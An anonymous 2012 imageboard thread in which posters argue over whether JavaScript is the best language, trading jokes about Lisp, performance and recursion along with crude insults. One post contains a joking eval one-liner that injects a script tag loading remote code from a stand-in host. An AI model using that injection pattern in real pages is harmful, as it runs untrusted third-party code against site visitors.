/prog/ - Javascript is the best programming language

Name: Anonymous 2012-08-30 14:05

Discuss

Name: Anonymous 2012-08-30 14:11

No

Name: Anonymous 2012-08-30 14:13

10/10 would parse again

Name: Anonymous 2012-08-30 15:15

10/10 would trace JIT compile again

Name: Anonymous 2012-08-30 16:56

like it, but not best

Name: Anonymous 2012-08-30 17:59

% node -e '(function (x) { x(x); })(function (x) { x(x); })' [eval]:1 (function (x) { x(x); })(function (x) { x(x); }) ^ RangeError: Maximum call stack size exceeded

NEVER FORGET

Name: Anonymous 2012-08-30 18:02

eval("document.head.innerHTML+='<script src=\"http://anus.com/hax.js\"></script>")

Name: Anonymous 2012-08-30 20:23

>>6
that will cause errors in every language

you can simulate lazy eval/infinite lists with streams

Name: Anonymous 2012-08-30 21:46

>>8
you can cut meat with nylon strings

Name: Anonymous 2012-08-30 22:16

>>9
you can back to /b/, please with your anus stretched.

Name: Anonymous 2012-08-30 23:44

>>8
WRONG.

((lambda (x) (x x)) (lambda (x) (x x))

Feel the Satori

Name: Anonymous 2012-08-31 0:29

it introduced innovative concepts like closures, callbacks, prototypes, and dynamic typing

Name: Anonymous 2012-08-31 4:14

>>12
Do you mean Lisp?

Name: Anonymous 2012-08-31 7:26

>>13
No, I think he really is that dumb (or really is trolling that seriously) and thinks javashit introduced any of that.

Name: Anonymous 2012-08-31 7:33

I sincerely hope this jabbashit love on /prog/ is a grand conspiracy of the Central FrozenVoid Agency.

Name: Anonymous 2012-08-31 8:55

>>13
*U MENA

Name: Anonymous 2012-08-31 10:35

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Name: Anonymous 2012-08-31 10:39

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Name: Anonymous 2012-08-31 10:51

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Name: Anonymous 2012-09-01 16:12

I've talked to Brendan on Friday, and after that I have a personal public announcement: I'm decided to make some money with javascript.

>>6
Brendan regrets not having macros, but TCO is in the way on the upcoming spec.

Name: Anonymous 2012-09-01 16:13

/b/randum

Name: Anonymous 2012-09-01 17:57

>>20

macros in a language with syntax is just going to fuck shit up. see perl 6. There's too much complexity in manipulating syntax, you have to start with almost nothing like lisp.

I guess it makes sense for creating libraries, but if I ever have to work with application code that is filled with DSL ruby bullshit, i will kill myself.

Name: Anonymous 2012-09-01 18:04

>>22
js is the future of programming, what the FUCK do you have against it innovating the cs landscape?

ps. nice dubs

Name: Anonymous 2012-09-01 18:49

>>23
The number of problems I would have with js's use in the cs landscape is roughly proportional to the number of flaws in the language and exactly equal to sum yielded when one ranges over all current applications of javascript and collects the number of reasons why javascript is unsuitable for the said application.

Name: Anonymous 2012-09-01 19:10

>>23
BECAUSE it isn't FUCKING LISP

Name: Anonymous 2012-09-02 1:07

I used to not get laid ever but now when I show girls a webpage I made using a little bit of CSS and jQuery I just swim in pussy. enjoy your virginity.

Name: Anonymous 2012-09-02 2:44

>>26
If it's big enough for your fat ass to swim in, that pussy is nothing to brag about.

Name: Anonymous 2012-09-02 2:59

>>24

everything will be rewritten in javascript in the future. it is only a matter of time. better get used to it. you probably just don't understand functional programming. you are probably just another java OOP drone who doesn't know anything about computers science.

first they said js couldn't support rich application (gmail, gmaps, asana, 280north, documentcloud)
then they said it couldn't be fast(2x as slow as java, 1/2 as much memory and code)
then they said it couldn't have threads or couldn't run on GPUs (webgl, webworkers, canvas)

Name: Anonymous 2012-09-02 3:12

>>28

2x slower than java
lol

Name: Anonymous 2012-09-02 4:06

>>28
1/2 as much memory and code

not impressed!
http://web.archive.org/web/20100923003556/http://shootout.alioth.debian.org/u32/luajit.php

Name: Anonymous 2012-09-02 5:46

>>28
gmail
the js version of gmail is absolute bloated, convoluted, annoying shit
i have all my accounts switched to the html-only layout for faster and fuller functionality
gmaps
again, slow and shitty as balls, google earth ran circles around it, every other mapping service STILL outperforms gmaps
asana, 280north, documentcloud
shit nobody has heard of, cares about, or uses

2x as slow as java
the only remotely true thing in your post, java is slow as shit, and javashit is as slow as constipation

Name: Anonymous 2012-09-02 11:01

>>28
you are probably just another java OOP drone
Says the le web developcloud XD drone.

I know, IHBT.

Javascript is the best programming language

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